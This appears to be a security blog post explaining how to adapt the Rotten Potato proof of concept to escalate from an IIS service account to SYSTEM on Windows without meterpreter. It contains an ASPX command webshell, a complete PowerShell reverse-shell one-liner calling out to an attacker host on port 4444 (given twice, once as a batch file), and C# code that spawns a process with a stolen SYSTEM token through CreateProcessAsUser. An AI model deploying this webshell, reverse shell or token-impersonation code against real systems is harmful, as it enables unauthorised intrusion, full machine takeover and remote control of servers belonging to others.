Never heard about the “Rotten Potato”? If not, read this post written by the authors of this fantastic exploit before continuing: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

The mechanism is quite complex, it allows us to intercept the NTLM authentication challenge which occurs during the  DCOM activation through  our endpoint listener and impersonate the user’s security access  token  (in this case SYSTEM because we are creating an instance of the BITS – Background Intelligent Transfer Service – which  is running under this account)

What is an access token? It’s  an object that describes the security context of a Windows process or thread, something similar to a session cookie…

Got it? It’s really awesome, all we need is a process with appropriate privileges (tipically SeImpersonatePrivilege).  Normally users running the SQL server service or the IIS service have these privileges,  so if we are able to get a shell or execute commands from these systems we are half on the way…

Even more amazing fact is that MS didn’t fix the issue, and probably they won’t because “the behaviour is by design” 😉

I won’t dig deeper in this exploit, I just want to show you how you can use the POC written by the authors without relying on meterpreter and  the “incognito” module.

So let’s start! First of all , we will setup IIS on our windows box (starting from win 7 to 2016) and copy a simple “command” .aspx page in the webroot directory.

For example this simple script:






Function RunCmd(command)
 Dim res as integer
 Dim myProcess As New Process()
 Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
 myProcessStartInfo.UseShellExecute = false
 myProcessStartInfo.RedirectStandardOutput = true
 myProcess.StartInfo = myProcessStartInfo
 myProcessStartInfo.Arguments="/c " + command
 myProcess.Start()
 Dim myStreamReader As StreamReader = myProcess.StandardOutput
 Dim myString As String = myStreamReader.Readtoend()
 myProcess.Close()
 RunCmd= MyString
End Function





Enter your shell command 


< %
if request("cmd")  "" then
response.write("
<pre>"+ RunCmd(request("cmd"))+ "</pre>
")
end if
%&gt;

Webshell works, we are IIS default appool (whoami)

rotten2

and our privs (whoami /priv):

rotten3.PNG

We have the necessary privileges, an  interactive reverse powershell is all we need :

powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('IP',4444);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + 'PS ' + (pwd).Path + '> ';
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"

rotten1

Good..reverse shell is working!

Time to donlowad the C# Rotten Potato POC from here https://github.com/foxglovesec/RottenPotato and open it in Visual Studio.

Now take a look at the _LocalToken.cs file in the “Potato” project

Cattura

The mygetuser()  function tells us that we are “SYSTEM” and if we launch the exploit inside a meterpreter session we are  able to “steal” SYSTEM’ s token  and impersonate this special user.

But our goal is to avoid meterpreter, so le’ts try something diferent.

First of all  we have to be sure that everything works fine, so we will add some custom code:

rotten4

We call the QuerySecurityContext() API in order to get the SYSTEM’s token and then impersonate it in the new context. Next we try to create a subdirectory in c:\windows, if we are  IIS user we can’t do it of course!

After compiling the whole project,  use ILMerge.exe to create a single executable. If you choose a platform above Framework 3.5 remember to specify the version. For example:

ILMerge.exe Potato.exe NHttp.dll 
SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll 
/out:myrotten.exe 
/targetplatform:v4,"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5"

I won’t show you how to upload the executable in c:\windows\temp, you already know how to do this from you PS reverse shell, right? 😉

If everything works fine, you should be able to create the “rottenpotato” directory in c:\windows by launching myrotten.exe:

rotten5

Well, the exploit worked, let’s move a step forward.

This is our stratgegy:

  • instead of interacting with “incognito“, launch a new process passed via command line and impersonate the SYSTEM user

First of all  we need to do some adjustments in Main() function of Program.cs

Cattura6

We store the program name we want to call (for example a reverse powershell) in Public Static String CmdLine

And now comes the most important part, which Windows API should we call in order to spawn a new process using the SYSTEM token?

We have two possible candidates:

BOOL WINAPI CreateProcessAsUser(
 _In_opt_ HANDLE hToken,
 _In_opt_ LPCTSTR lpApplicationName,
 _Inout_opt_ LPTSTR lpCommandLine,
 _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 _In_ BOOL bInheritHandles,
 _In_ DWORD dwCreationFlags,
 _In_opt_ LPVOID lpEnvironment,
 _In_opt_ LPCTSTR lpCurrentDirectory,
 _In_ LPSTARTUPINFO lpStartupInfo,
 _Out_ LPPROCESS_INFORMATION lpProcessInformation
);

and

BOOL WINAPI CreateProcessWithTokenW(
 _In_ HANDLE hToken,
 _In_ DWORD dwLogonFlags,
 _In_opt_ LPCWSTR lpApplicationName,
 _Inout_opt_ LPWSTR lpCommandLine,
 _In_ DWORD dwCreationFlags,
 _In_opt_ LPVOID lpEnvironment,
 _In_opt_ LPCWSTR lpCurrentDirectory,
 _In_ LPSTARTUPINFOW lpStartupInfo,
 _Out_ LPPROCESS_INFORMATION lpProcessInfo
);

These functions are similar, they both accept our token as input. The main difference are:

  • CreateProcessWithTokenW() needs the SeImpersonatePrivilege. But it seems  not working in Session 0 (where our shell lives because launched from IIS service)
  • CreateProcessAsUser() needs  the SeAssignPrimaryToken privilege (we have it) but it works in Session 0

In our case CreateProcessAsUser()  is not an option, so we will use this one.

We will setup our function RunMyProcessAsUser() passing our precious token obtained before.

public class MyProcess
 {
  [StructLayout(LayoutKind.Sequential)]
  public struct PROCESS_INFORMATION
  {
    public IntPtr hProcess;
    public IntPtr hThread;
    public Int32 dwProcessID;
    public Int32 dwThreadID;
   }
  [StructLayout(LayoutKind.Sequential)]
  public struct SECURITY_ATTRIBUTES
  {
    public Int32 Length;
    public IntPtr lpSecurityDescriptor;
    public bool bInheritHandle;
  }
  [StructLayout(LayoutKind.Sequential)]
  public struct STARTUPINFO
  {
    public Int32 cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
  }

[DllImport("advapi32.dll",
 EntryPoint = "CreateProcessAsUser", SetLastError = true,
 CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)
]

public static extern bool
 CreateProcessAsUser(IntPtr hToken,
string lpApplicationName, string lpCommandLine,
      ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
      bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment,
      string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,
      ref PROCESS_INFORMATION lpProcessInformation);
}
 . . . .

public bool RunMyProcessAsUser(IntPtr hToken)
 {

   MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();
   MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();
   MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO();
   try
   {
     sa.Length = Marshal.SizeOf(sa);
     si.cb = Marshal.SizeOf(si);
     si.lpDesktop = String.Empty;
     bool result = MyProcess.CreateProcessAsUser(
                   hToken,
                   Program.CmdLine,
                   String.Empty,
                   ref sa, ref sa,
                   false, 0, IntPtr.Zero,
                   @"C:\", ref si, ref pi
                   );

     if (!result)
     {
          int error = Marshal.GetLastWin32Error();
          Console.WriteLine(String.Format("RunMyProcess Error: {0}", error));
         return false;
      }
      Console.WriteLine("Executed:" + Program.CmdLine);
      Process currentProcess = Process.GetCurrentProcess();
  }
  finally
  {
      if (pi.hProcess != IntPtr.Zero)
      MyProcess.CloseHandle(pi.hProcess);
      if (pi.hThread != IntPtr.Zero)
       MyProcess.CloseHandle(pi.hThread);
   }
 return true;
 }

After declaring the necessary structures and the API calls, we just invoke the CreateProcessAsUser() function passing the necessary arguments, first of all the token, the command to execute and some default values. The working directory will be C:\

As you can see, we did not duplicate our token  by invoking the DuplicateTokenEx() function before creating the process because it’s not really necessary. We already have a primary token.

We will call our function here:

rotten7
Time to compile the whole stuff and test it. But before that, we will upload our rev.bat in c:\windows\temp

powershell -nop -c 
"$client = New-Object System.Net.Sockets.TCPClient('IP',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()"

And now the moment of truth.

From the PS reverse shell, with user IIS, we will call our myrotten.exe:

rottent8

And in our new listening console:

rotten9

We got it!

As you can see, I only described the relevant parts of the code in order to get it work, it’s up to you  play with C# and modify the project according to your needings…

In the next article I will show you how to integrate it it with InstallUtil.exe

That’s all 😉

One thought on “The lonely potato

Leave a comment